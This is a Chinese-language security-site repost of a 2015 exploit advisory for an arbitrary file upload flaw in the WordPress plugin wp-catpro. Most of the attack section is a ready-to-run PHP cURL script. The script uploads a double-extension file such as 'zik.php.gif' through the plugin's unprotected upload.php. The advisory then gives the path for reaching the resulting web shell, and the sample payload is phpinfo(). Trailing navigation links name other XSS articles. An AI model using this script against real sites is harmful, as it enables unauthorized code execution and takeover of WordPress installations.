WordPress插件wp-catpro任意文件上传 - 网站安全

WordPress插件wp-catpro任意文件上传 - 网站安全 - 自

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] #-----------------------------------------------------------------------Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability#---------------------------------------------------......

#-----------------------------------------------------------------------

Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability

#-----------------------------------------------------------------------

作者 => Zikou-16

邮箱 => zikou16x@gmail.com

测试系统 : Windows 7 , Backtrack 5r3

下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip

####

#=> Exploit 信息:

------------------

# 攻击者可以上传 file/shell.php.gif

# ("jpg", "gif", "png") // Allowed file extensions

# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)

# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)

------------------

#=> Exploit

-----------

<?php

$uploadfile="zik.php.gif";

$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");

curl_setopt($ch, CURLOPT_POST, true);

curl_setopt($ch, CURLOPT_POSTFIELDS,

array('Filedata'=>"@$uploadfile",

'folder'=>'/wp-content/uploads/catpro/'));

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

$postResult = curl_exec($ch);

curl_close($ch);

print "$postResult";

Shell Access : http://[ www.2cto.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif

<?php

phpinfo();

网易相册反射型xss，可拿用户cookie（含有结果和

大街网某功能储存型XSS 致首页等位置蠕虫+获取用

子栏目

WordPress插件wp-catpro任意文件上传 - 网站安全 - 自

最新评论

添加评论

更多文章推荐

添加评论